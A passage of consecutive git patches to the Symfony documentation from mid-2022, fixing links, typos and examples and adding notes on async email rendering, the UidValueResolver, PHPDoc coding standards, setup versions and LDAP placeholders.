-* `ux-typed`_: Integration with `Typed`_
+  (`see demo <https://ux.symfony.com/twig-component>`_)
+* `ux-typed`_: Integration with `Typed`_ (`see demo <https://ux.symfony.com/typed>`_)
 
 .. _`ux-autocomplete`: https://symfony.com/bundles/ux-autocomplete/current/index.html
 .. _`ux-chartjs`: https://symfony.com/bundles/ux-chartjs/current/index.html

From 58bfc1d53627ff02012634a89ca20175a503938a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 26 Jul 2022 09:01:41 +0200
Subject: [PATCH 3455/7107] [Routing] Fix some internal references links

---
 routing.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/routing.rst b/routing.rst
index 56eeefcd7fd..13873d7349a 100644
--- a/routing.rst
+++ b/routing.rst
@@ -873,12 +873,13 @@ Special Parameters
 In addition to your own parameters, routes can include any of the following
 special parameters created by Symfony:
 
+.. _routing-format-parameter:
+.. _routing-locale-parameter:
+
 ``_controller``
     This parameter is used to determine which controller and action is executed
     when the route is matched.
 
-.. _routing-format-parameter:
-
 ``_format``
     The matched value is used to set the "request format" of the ``Request`` object.
     This is used for such things as setting the ``Content-Type`` of the response
@@ -888,8 +889,6 @@ special parameters created by Symfony:
     Used to set the fragment identifier, which is the optional last part of a URL that
     starts with a ``#`` character and is used to identify a portion of a document.
 
-.. _routing-locale-parameter:
-
 ``_locale``
     Used to set the :ref:`locale <translation-locale-url>` on the request.
 

From 703ecae51e158cf0eee27243a7fcc7ae08b32703 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 27 Jul 2022 10:56:02 +0200
Subject: [PATCH 3456/7107] Adding missing `use`s

---
 form/create_custom_field_type.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 2d13673be33..c88c11fcd3f 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -148,7 +148,7 @@ These are the most important methods that a form type class can define:
 ``finishView()``
     When creating a form type that consists of many fields, this method allows
     to modify the "view" of any of those fields. For any other use case, it's
-    recommended to use instead the ``buildView()`` method.
+    recommended to use ``buildView()`` instead.
 
 ``getParent()``
     If your custom type is based on another type (i.e. they share some
@@ -471,6 +471,8 @@ defined by the form or be completely independent::
     namespace App\Form\Type;
 
     use Doctrine\ORM\EntityManagerInterface;
+    use Symfony\Component\Form\FormInterface;
+    use Symfony\Component\Form\FormView;
     // ...
 
     class PostalAddressType extends AbstractType

From 4fbbc16f7146d562089de5d322070aa831a3bf1b Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Wed, 27 Jul 2022 10:16:52 +0200
Subject: [PATCH 3457/7107] Add more information about sending email async

---
 mailer.rst | 33 +++++++++++++++++++++++++++++++--
 1 file changed, 31 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index eb291b0e022..3e769eeb535 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1204,9 +1204,38 @@ you have a transport called ``async``, you can route the message there:
                 ->senders(['async']);
         };
 
+Thanks to this, instead of being delivered immediately, messages will be sent
+to the transport to be handled later (see :ref:`messenger-worker`). Note that
+the "rendering" of the email (computed headers, body rendering, ...) is also
+deferred and will only happen just before the email is sent by the Messenger
+handler.
 
-Thanks to this, instead of being delivered immediately, messages will be sent to
-the transport to be handled later (see :ref:`messenger-worker`).
+.. versionadded:: 6.2
+
+    The following example about rendering the email before calling
+    ``$mailer->send($email)`` works as of Symfony 6.2.
+
+When sending an email asynchronously, its instance must be serializable.
+This is always the case for :class:`Symfony\\Bridge\\Twig\\Mime\\Email`
+instances, but when sending a
+:class:`Symfony\\Bridge\\Twig\\Mime\\TemplatedEmail`, you must ensure that
+the ``context`` is serializable. If you have non-serializable variables,
+like Doctrine entities, either replace them with more specific variables or
+render the email before calling ``$mailer->send($email)``::
+
+    use Symfony\Component\Mailer\MailerInterface;
+    use Symfony\Component\Mime\BodyRendererInterface;
+
+    public function action(MailerInterface $mailer, BodyRendererInterface $bodyRenderer)
+    {
+        $email = (new TemplatedEmail())
+            ->htmlTemplate($template)
+            ->context($context)
+        ;
+        $bodyRenderer->render($email);
+
+        $mailer->send($email);
+    }
 
 You can configure which bus is used to dispatch the message using the ``message_bus`` option.
 You can also set this to ``false`` to call the Mailer transport directly and

From 7ddff2f8fd3ab9b8e951b334c7cd282d57f49215 Mon Sep 17 00:00:00 2001
From: Maksim Tiugaev <tugmaks@yandex.ru>
Date: Wed, 27 Jul 2022 15:32:50 +0300
Subject: [PATCH 3458/7107] [Messenger] fix broken link to Validator component

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 8a4d66fe4ac..ef99281af80 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1738,7 +1738,7 @@ Other Middlewares
     The ``validation`` middleware was introduced in Symfony 4.1.
 
 Add the ``validation`` middleware if you need to validate the message
-object using the :doc:`Validator component <validator>` before handling it.
+object using the :doc:`Validator component </components/validator>` before handling it.
 If validation fails, a ``ValidationFailedException`` will be thrown. The
 :class:`Symfony\\Component\\Messenger\\Stamp\\ValidationStamp` can be used
 to configure the validation groups.

From 6474f5735e12aa4898b41054d5158bad3141b151 Mon Sep 17 00:00:00 2001
From: Romain Monteil <romain.monteil@pixine.fr>
Date: Wed, 27 Jul 2022 11:18:48 +0200
Subject: [PATCH 3459/7107] [HttpKernel] Add UidValueResolver to the list of
 built-in value resolvers

---
 controller/argument_value_resolver.rst | 28 +++++++++++++++++++++++++-
 reference/forms/types/datetime.rst     |  2 +-
 2 files changed, 28 insertions(+), 2 deletions(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index ec813dacb38..3eae1924e05 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -115,6 +115,32 @@ Symfony ships with the following value resolvers in the
     Will set the default value of the argument if present and the argument
     is optional.
 
+:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\UidValueResolver`
+    Attempts to convert any UID values from a route path parameter into UID objects.
+    Leads to a 404 Not Found response if the value isn't a valid UID.
+
+    For example, the following will convert the token parameter into a ``UuidV4`` object::
+
+        // src/Controller/DefaultController.php
+        namespace App\Controller;
+
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Routing\Annotation\Route;
+        use Symfony\Component\Uid\UuidV4;
+
+        class DefaultController
+        {
+            #[Route('/share/{token}')]
+            public function share(UuidV4 $token): Response
+            {
+                // ...
+            }
+        }
+
+    .. versionadded:: 6.1
+
+        The ``UidValueResolver`` was introduced in Symfony 6.1.
+
 :class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\VariadicValueResolver`
     Verifies if the request data is an array and will add all of them to the
     argument list. When the action is called, the last (variadic) argument will
@@ -137,7 +163,7 @@ PSR-7 Objects Resolver:
     Injects a Symfony HttpFoundation ``Request`` object created from a PSR-7 object
     of type :class:`Psr\\Http\\Message\\ServerRequestInterface`,
     :class:`Psr\\Http\\Message\\RequestInterface` or :class:`Psr\\Http\\Message\\MessageInterface`.
-    It requires installing :doc:`the PSR-7 Bridge </components/psr7>`_ component.
+    It requires installing :doc:`the PSR-7 Bridge </components/psr7>` component.
 
 Adding a Custom Value Resolver
 ------------------------------
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index c189aceb2a6..524e61c8792 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -13,7 +13,7 @@ the data can be a ``DateTime`` object, a string, a timestamp or an array.
 +---------------------------+-----------------------------------------------------------------------------+
 | Underlying Data Type      | can be ``DateTime``, string, timestamp, or array (see the ``input`` option) |
 +---------------------------+-----------------------------------------------------------------------------+
-| Rendered as               | single text box or five select fields                                      |
+| Rendered as               | single text box or five select fields                                       |
 +---------------------------+-----------------------------------------------------------------------------+
 | Default invalid message   | Please enter a valid date and time.                                         |
 +---------------------------+-----------------------------------------------------------------------------+

From e24abb30c758bc4a3ada0c618d3e805792b6aade Mon Sep 17 00:00:00 2001
From: Mathieu Ledru <matyo91@gmail.com>
Date: Thu, 28 Jul 2022 11:41:01 +0200
Subject: [PATCH 3460/7107] Update upgrade_major.rst

Seems that `SYMFONY_PATCH_TYPE_DECLARATIONS` must be used instead of `SYMFONY_DEPRECATIONS_HELPER` in sample for open source maintainers
---
 setup/upgrade_major.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 49fc1acf192..aaffd2f36ae 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -291,10 +291,10 @@ Classes in the ``vendor/`` directory are always ignored.
 
            # Add type declarations to all internal, final, tests and private methods.
            # Update the "php" parameter to match your minimum required PHP version
-           $ SYMFONY_DEPRECATIONS_HELPER="force=1&php=7.4" ./vendor/bin/patch-type-declarations
+           $ SYMFONY_PATCH_TYPE_DECLARATIONS="force=1&php=7.4" ./vendor/bin/patch-type-declarations
 
            # Add PHPDoc to the leftover public and protected methods
-           $ SYMFONY_DEPRECATIONS_HELPER="force=phpdoc&php=7.4" ./vendor/bin/patch-type-declarations
+           $ SYMFONY_PATCH_TYPE_DECLARATIONS="force=phpdoc&php=7.4" ./vendor/bin/patch-type-declarations
 
        After running the scripts, check your classes and add more ``@return``
        PHPDoc where they are missing. The deprecations and patch script
@@ -312,7 +312,7 @@ Classes in the ``vendor/`` directory are always ignored.
        .. code-block:: terminal
 
            # Update the "php" parameter to match your minimum required PHP version
-           $ SYMFONY_DEPRECATIONS_HELPER="force=2&php=7.4" ./vendor/bin/patch-type-declarations
+           $ SYMFONY_PATCH_TYPE_DECLARATIONS="force=2&php=7.4" ./vendor/bin/patch-type-declarations
 
        Now, you can safely allow ``^6.0`` for the Symfony dependencies.
 

From d2f676ebed954b00006b3b031c6de66a8a00118c Mon Sep 17 00:00:00 2001
From: Ousmane NDIAYE <ousmane.ndia@gmail.com>
Date: Thu, 28 Jul 2022 11:12:07 +0200
Subject: [PATCH 3461/7107] Update mercure.rst

Fix typo
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 5c4b570e4af..806efa31946 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -109,7 +109,7 @@ to the Mercure Hub to be authorized to publish updates and, sometimes, to subscr
 This JWT should be stored in the ``MERCURE_JWT_SECRET`` environment variable.
 
 The JWT must be signed with the same secret key as the one used by
-the Hub to verify the JWT (``!ChangeMe!`` in you use the Local Web Server or
+the Hub to verify the JWT (``!ChangeMe!`` if you use the Local Web Server or
 Symfony Docker).
 Its payload must contain at least the following structure to be allowed to
 publish:

From 16cfba7759725fee4bdd4a4ab91d5a10e5a27d54 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 26 Jul 2022 16:08:33 +0200
Subject: [PATCH 3462/7107] Be more detailed about coding standards for PHPdoc

---
 contributing/code/standards.rst | 62 ++++++++++++++++++---------------
 1 file changed, 33 insertions(+), 29 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index 5709a5184a6..e8af77af491 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -47,30 +47,27 @@ short example containing most features described below::
      */
     class FooBar
     {
-        const SOME_CONST = 42;
+        public const SOME_CONST = 42;
 
         /**
          * @var string
          */
         private $fooBar;
-
         private $qux;
 
         /**
-         * @param string $dummy Some argument description
+         * @param $dummy some argument description
          */
-        public function __construct($dummy, Qux $qux)
+        public function __construct(string $dummy, Qux $qux)
         {
             $this->fooBar = $this->transformText($dummy);
             $this->qux = $qux;
         }
 
         /**
-         * @return string
-         *
          * @deprecated
          */
-        public function someDeprecatedMethod()
+        public function someDeprecatedMethod(): string
         {
             trigger_deprecation('symfony/package-name', '5.1', 'The %s() method is deprecated, use Acme\Baz::someMethod() instead.', __METHOD__);
 
@@ -80,14 +77,11 @@ short example containing most features described below::
         /**
          * Transforms the input given as the first argument.
          *
-         * @param bool|string $dummy   Some argument description
-         * @param array       $options An options collection to be used within the transformation
+         * @param $options an options collection to be used within the transformation
          *
-         * @return string|null The transformed input
-         *
-         * @throws \RuntimeException When an invalid option is provided
+         * @throws \RuntimeException when an invalid option is provided
          */
-        private function transformText($dummy, array $options = [])
+        private function transformText(bool|string $dummy, array $options = []): ?string
         {
             $defaultOptions = [
                 'some_default' => 'values',
@@ -100,16 +94,13 @@ short example containing most features described below::
                 }
             }
 
-            $mergedOptions = array_merge(
-                $defaultOptions,
-                $options
-            );
+            $mergedOptions = array_merge($defaultOptions, $options);
 
             if (true === $dummy) {
                 return 'something';
             }
 
-            if (is_string($dummy)) {
+            if (\is_string($dummy)) {
                 if ('values' === $mergedOptions['some_default']) {
                     return substr($dummy, 0, 5);
                 }
@@ -122,11 +113,8 @@ short example containing most features described below::
 
         /**
          * Performs some basic operations for a given value.
-         *
-         * @param mixed $value     Some value to operate against
-         * @param bool  $theSwitch Some switch to control the method's flow
          */
-        private function performOperations($value = null, $theSwitch = false)
+        private function performOperations(mixed $value = null, bool $theSwitch = false)
         {
             if (!$theSwitch) {
                 return;
@@ -162,6 +150,8 @@ Structure
 * Use ``return null;`` when a function explicitly returns ``null`` values and
   use ``return;`` when the function returns ``void`` values;
 
+* Do not add the ``void`` return type to methods in tests;
+
 * Use braces to indicate control structure body regardless of the number of
   statements it contains;
 
@@ -265,19 +255,28 @@ Service Naming Conventions
 Documentation
 ~~~~~~~~~~~~~
 
-* Add PHPDoc blocks for all classes, methods, and functions (though you may
-  be asked to remove PHPDoc that do not add value);
+* Add PHPDoc blocks for classes, methods, and functions only when they add
+  relevant information that does not duplicate the name, native type
+  declaration or context (e.g. ``instanceof`` checks);
+
+* Only use annotations and types defined in `the PHPDoc reference`_. In
+  order to improve types for static analysis, the following annotations are
+  also allowed:
+
+  * `Generics`_, with the exception of ``@template-covariant``.
+  * `Conditional return types`_ using the vendor-prefixed ``@psalm-return``;
+  * `Class constants`_;
+  * `Callable types`_;
 
 * Group annotations together so that annotations of the same type immediately
   follow each other, and annotations of a different type are separated by a
   single blank line;
 
-* Omit the ``@return`` tag if the method does not return anything;
-
-* The ``@package`` and ``@subpackage`` annotations are not used;
+* Omit the ``@return`` annotation if the method does not return anything;
 
-* Don't inline PHPDoc blocks, even when they contain just one tag (e.g. don't
-  put ``/** {@inheritdoc} */`` in a single line);
+* Don't use one-line PHPDoc blocks on classes, methods and functions, even
+  when they contain just one annotation (e.g. don't put ``/** {@inheritdoc} */``
+  in a single line);
 
 * When adding a new class or when making significant changes to an existing class,
   an ``@author`` tag with personal contact information may be added, or expanded.
@@ -303,3 +302,8 @@ License
 .. _`snake_case`: https://en.wikipedia.org/wiki/Snake_case
 .. _`constructor property promotion`: https://www.php.net/manual/en/language.oop5.decon.php#language.oop5.decon.constructor.promotion
 .. _`trailing comma`: https://wiki.php.net/rfc/trailing_comma_in_parameter_list
+.. _`the PHPDoc reference`: https://docs.phpdoc.org/3.0/guide/references/phpdoc/index.html
+.. _`Conditional return types`: https://psalm.dev/docs/annotating_code/type_syntax/conditional_types/
+.. _`Class constants`: https://psalm.dev/docs/annotating_code/type_syntax/value_types/#regular-class-constants
+.. _`Callable types`: https://psalm.dev/docs/annotating_code/type_syntax/callable_types/
+.. _`Generics`: https://psalm.dev/docs/annotating_code/templated_annotations/

From 97899916d38c436c7d96f4a1a78156ec349c8d97 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 26 Jul 2022 10:22:21 +0200
Subject: [PATCH 3463/7107] Update README.markdown

---
 README.markdown | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/README.markdown b/README.markdown
index c7758624d24..8bd67bed4a3 100644
--- a/README.markdown
+++ b/README.markdown
@@ -11,6 +11,10 @@
     Online version
   </a>
   <span> | </span>
+  <a href="https://symfony.com/components">
+    Components
+  </a>
+  <span> | </span>
   <a href="https://symfonycasts.com">
     Screencasts
   </a>

From 47dcb1cb744a53913dc3dac2de16c2cf03117eb6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Jul 2022 17:16:35 +0200
Subject: [PATCH 3464/7107] Minor tweal

---
 reference/constraints/Email.rst | 7 +++++--
 1 file changed, 5 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index bce65891729..f1932b47467 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -135,8 +135,11 @@ This option defines the pattern used to validate the email address. Valid values
 * ``strict`` uses the `egulias/email-validator`_ library (which you must
   install separately) for validation according to `RFC 5322`_.
 
-You can also use the class constants of :class:`Symfony\\Component\\Validator\\Constraints\\Email`,
-e.g. ``Email::VALIDATION_MODE_STRICT``.
+.. tip::
+
+    The possible values of this option are also defined as PHP constants of
+    :class:`Symfony\\Component\\Validator\\Constraints\\Email`
+    (e.g. ``Email::VALIDATION_MODE_STRICT``).
 
 The default value used by this option is set in the
 :ref:`framework.validation.email_validation_mode <reference-validation-email_validation_mode>`

From 698ae45af350a451f4f79181aa61a21f87f46971 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Jul 2022 17:26:45 +0200
Subject: [PATCH 3465/7107] Minor tweaks

---
 components/expression_language/syntax.rst | 15 +++++++++++----
 1 file changed, 11 insertions(+), 4 deletions(-)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 92a69b01642..de0fddf80bf 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -343,18 +343,23 @@ Ternary Operators
 * ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
 * ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
 
-Null-coalescing Operator
+Null Coalescing Operator
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
-This is the same as the PHP's null-coalescing operator ``??`` which is a syntactic sugar for the use of a ternary 
-in conjunction with isset(). It returns the left hand-side if it exist and not ``null`` otherwise it returns the right hand-side.
-Note that coalescing can be chained.
+This is the same as the PHP `null-coalescing operator`_, which combines
+the ternary operator and ``isset()``. It returns the left hand-side if it exists
+and it's not ``null``; otherwise it returns the right hand-side. Note that you
+can chain multiple coalescing operators.
 
 * ``foo ?? 'no'``
 * ``foo.baz ?? 'no'``
 * ``foo[3] ?? 'no'``
 * ``foo.baz ?? foo['baz'] ?? 'no'``
 
+.. versionadded:: 6.2
+
+    The null-coalescing operator was introduced in Symfony 6.2.
+
 Built-in Objects and Variables
 ------------------------------
 
@@ -365,3 +370,5 @@ expressions (e.g. the request, the current user, etc.):
 * :doc:`Variables available in security expressions </security/expressions>`;
 * :doc:`Variables available in service container expressions </service_container/expression_language>`;
 * :ref:`Variables available in routing expressions <routing-matching-expressions>`.
+
+.. _`null-coalescing operator`: https://www.php.net/manual/en/language.operators.comparison.php#language.operators.comparison.coalesce

From 722b40df3cae2710423e1816585aebf91b4c4b95 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Jul 2022 17:27:07 +0200
Subject: [PATCH 3466/7107] [ExpressionLanguage] Remove a feature that was
 merged into 6.2

---
 components/expression_language/syntax.rst | 17 -----------------
 1 file changed, 17 deletions(-)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index de0fddf80bf..6e457acd7ea 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -343,23 +343,6 @@ Ternary Operators
 * ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
 * ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
 
-Null Coalescing Operator
-~~~~~~~~~~~~~~~~~~~~~~~~
-
-This is the same as the PHP `null-coalescing operator`_, which combines
-the ternary operator and ``isset()``. It returns the left hand-side if it exists
-and it's not ``null``; otherwise it returns the right hand-side. Note that you
-can chain multiple coalescing operators.
-
-* ``foo ?? 'no'``
-* ``foo.baz ?? 'no'``
-* ``foo[3] ?? 'no'``
-* ``foo.baz ?? foo['baz'] ?? 'no'``
-
-.. versionadded:: 6.2
-
-    The null-coalescing operator was introduced in Symfony 6.2.
-
 Built-in Objects and Variables
 ------------------------------
 

From bd72b3817dc8c5ce107d39a49aadfa221ad2f37b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 29 Jul 2022 17:27:54 +0200
Subject: [PATCH 3467/7107] Readd the docs about Null Coalescing Operator

---
 components/expression_language/syntax.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index 6e457acd7ea..de0fddf80bf 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -343,6 +343,23 @@ Ternary Operators
 * ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
 * ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
 
+Null Coalescing Operator
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+This is the same as the PHP `null-coalescing operator`_, which combines
+the ternary operator and ``isset()``. It returns the left hand-side if it exists
+and it's not ``null``; otherwise it returns the right hand-side. Note that you
+can chain multiple coalescing operators.
+
+* ``foo ?? 'no'``
+* ``foo.baz ?? 'no'``
+* ``foo[3] ?? 'no'``
+* ``foo.baz ?? foo['baz'] ?? 'no'``
+
+.. versionadded:: 6.2
+
+    The null-coalescing operator was introduced in Symfony 6.2.
+
 Built-in Objects and Variables
 ------------------------------
 

From 83eeaca28e4b9059e8f23877c7c96b74ce578fb9 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 30 Jul 2022 19:50:14 +0200
Subject: [PATCH 3468/7107] fix reference markup

---
 controller/argument_value_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/argument_value_resolver.rst b/controller/argument_value_resolver.rst
index 49dc3355c9d..2cea87964ab 100644
--- a/controller/argument_value_resolver.rst
+++ b/controller/argument_value_resolver.rst
@@ -58,7 +58,7 @@ PSR-7 Objects Resolver:
     Injects a Symfony HttpFoundation ``Request`` object created from a PSR-7 object
     of type :class:`Psr\\Http\\Message\\ServerRequestInterface`,
     :class:`Psr\\Http\\Message\\RequestInterface` or :class:`Psr\\Http\\Message\\MessageInterface`.
-    It requires installing :doc:`the PSR-7 Bridge </components/psr7>`_ component.
+    It requires installing :doc:`the PSR-7 Bridge </components/psr7>` component.
 
 Adding a Custom Value Resolver
 ------------------------------

From c5a3034e78cfa6d40a4094f9f84fe2f49443a920 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 31 Jul 2022 13:35:06 +0300
Subject: [PATCH 3469/7107] setup documentation fix

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 9db493bb34f..f5003d49f6c 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="6.0.*" --webapp
+    $ symfony new my_project_directory --version="6.1.*" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="6.0.*"
+    $ symfony new my_project_directory --version="6.1.*"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you

From 5b04eea5f7a07746e3aa76b2d708de1b89950020 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 1 Aug 2022 11:07:26 +0200
Subject: [PATCH 3470/7107] fix the target branch for new features

---
 contributing/code/pull_requests.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 6f24f982fcb..415b8e2dd96 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -129,7 +129,7 @@ work:
   </contributing/code/maintenance>` (you may have to choose a higher branch if
   the feature you are fixing was introduced in a later version);
 
-* ``6.x``, if you are adding a new feature.
+* ``6.2``, if you are adding a new feature.
 
   The only exception is when a new :doc:`major Symfony version </contributing/community/releases>`
   (5.0, 6.0, etc.) comes out every two years. Because of the

From dd0128601754cc9e2074ad46daaa49ccba32e370 Mon Sep 17 00:00:00 2001
From: Vasilij Dusko <vasilij@prado.lt>
Date: Sun, 31 Jul 2022 13:38:28 +0300
Subject: [PATCH 3471/7107] setup documentation fix

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index 5d39dafd635..db2c1fe10b0 100644
--- a/setup.rst
+++ b/setup.rst
@@ -49,10 +49,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="6.1.*" --webapp
+    $ symfony new my_project_directory --version="6.2.*@dev" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="6.1.*"
+    $ symfony new my_project_directory --version="6.2.*@dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs all the packages that you

From efc6c2ec52a52fa354967d5201684337429d49a2 Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Tue, 26 Jul 2022 11:16:51 +0200
Subject: [PATCH 3472/7107] [Form] Remove `:end-before:`, `:start-after:` as
 it's not used anymore

---
 .../forms/types/options/choice_translation_domain.rst.inc     | 2 --
 .../types/options/choice_translation_domain_disabled.rst.inc  | 4 ----
 .../types/options/choice_translation_domain_enabled.rst.inc   | 4 ----
 3 files changed, 10 deletions(-)

diff --git a/reference/forms/types/options/choice_translation_domain.rst.inc b/reference/forms/types/options/choice_translation_domain.rst.inc
index a6e582ccf7a..e676567a057 100644
--- a/reference/forms/types/options/choice_translation_domain.rst.inc
+++ b/reference/forms/types/options/choice_translation_domain.rst.inc
@@ -1,8 +1,6 @@
 ``choice_translation_domain``
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-DEFAULT_VALUE
-
 This option determines if the choice values should be translated and in which
 translation domain.
 
diff --git a/reference/forms/types/options/choice_translation_domain_disabled.rst.inc b/reference/forms/types/options/choice_translation_domain_disabled.rst.inc
index 9c5dd6e2436..d9e711f0a07 100644
--- a/reference/forms/types/options/choice_translation_domain_disabled.rst.inc
+++ b/reference/forms/types/options/choice_translation_domain_disabled.rst.inc
@@ -1,7 +1,3 @@
-.. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
-    :end-before: DEFAULT_VALUE
-
 **type**: ``string``, ``boolean`` or ``null`` **default**: ``false``
 
 .. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
-    :start-after: DEFAULT_VALUE
diff --git a/reference/forms/types/options/choice_translation_domain_enabled.rst.inc b/reference/forms/types/options/choice_translation_domain_enabled.rst.inc
index 53e45bd1eaa..dad2666f9c4 100644
--- a/reference/forms/types/options/choice_translation_domain_enabled.rst.inc
+++ b/reference/forms/types/options/choice_translation_domain_enabled.rst.inc
@@ -1,7 +1,3 @@
-.. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
-    :end-before: DEFAULT_VALUE
-
 **type**: ``string``, ``boolean`` or ``null`` **default**: ``true``
 
 .. include:: /reference/forms/types/options/choice_translation_domain.rst.inc
-    :start-after: DEFAULT_VALUE

From 156e0a3aab749d19b2883b397c1d0415dd7ec544 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 1 Aug 2022 17:52:33 +0200
Subject: [PATCH 3473/7107] [Security] Deprecate {username} in favor of
 {user_identifier}

---
 reference/configuration/security.rst |  6 ++---
 security/ldap.rst                    | 39 ++++++++++++++++------------
 2 files changed, 25 insertions(+), 20 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 6ba99c0fe7c..b9401842d92 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -610,9 +610,9 @@ This is the name of your configured LDAP client.
 dn_string
 .........
 
-**type**: ``string`` **default**: ``{username}``
+**type**: ``string`` **default**: ``{user_identifier}``
 
-This is the string which will be used as the bind DN. The ``{username}``
+This is the string which will be used as the bind DN. The ``{user_identifier}``
 placeholder will be replaced with the user-provided value (their login).
 Depending on your LDAP server's configuration, you may need to override
 this value.
@@ -622,7 +622,7 @@ query_string
 
 **type**: ``string`` **default**: ``null``
 
-This is the string which will be used to query for the DN. The ``{username}``
+This is the string which will be used to query for the DN. The ``{user_identifier}``
 placeholder will be replaced with the user-provided value (their login).
 Depending on your LDAP server's configuration, you will need to override
 this value. This setting is only necessary if the user's DN cannot be derived
diff --git a/security/ldap.rst b/security/ldap.rst
index ff768969771..53cc88cceb1 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -290,14 +290,19 @@ filter
 
 This key lets you configure which LDAP query will be used. The ``{uid_key}``
 string will be replaced by the value of the ``uid_key`` configuration value
-(by default, ``sAMAccountName``), and the ``{username}`` string will be
-replaced by the username you are trying to load.
+(by default, ``sAMAccountName``), and the ``{user_identifier}`` string will be
+replaced by the user identified you are trying to load.
+
+.. deprecated:: 6.2
+
+    Starting from Symfony 6.2, the ``{username}`` string was deprecated in favor
+    of ``{user_identifier}``.
 
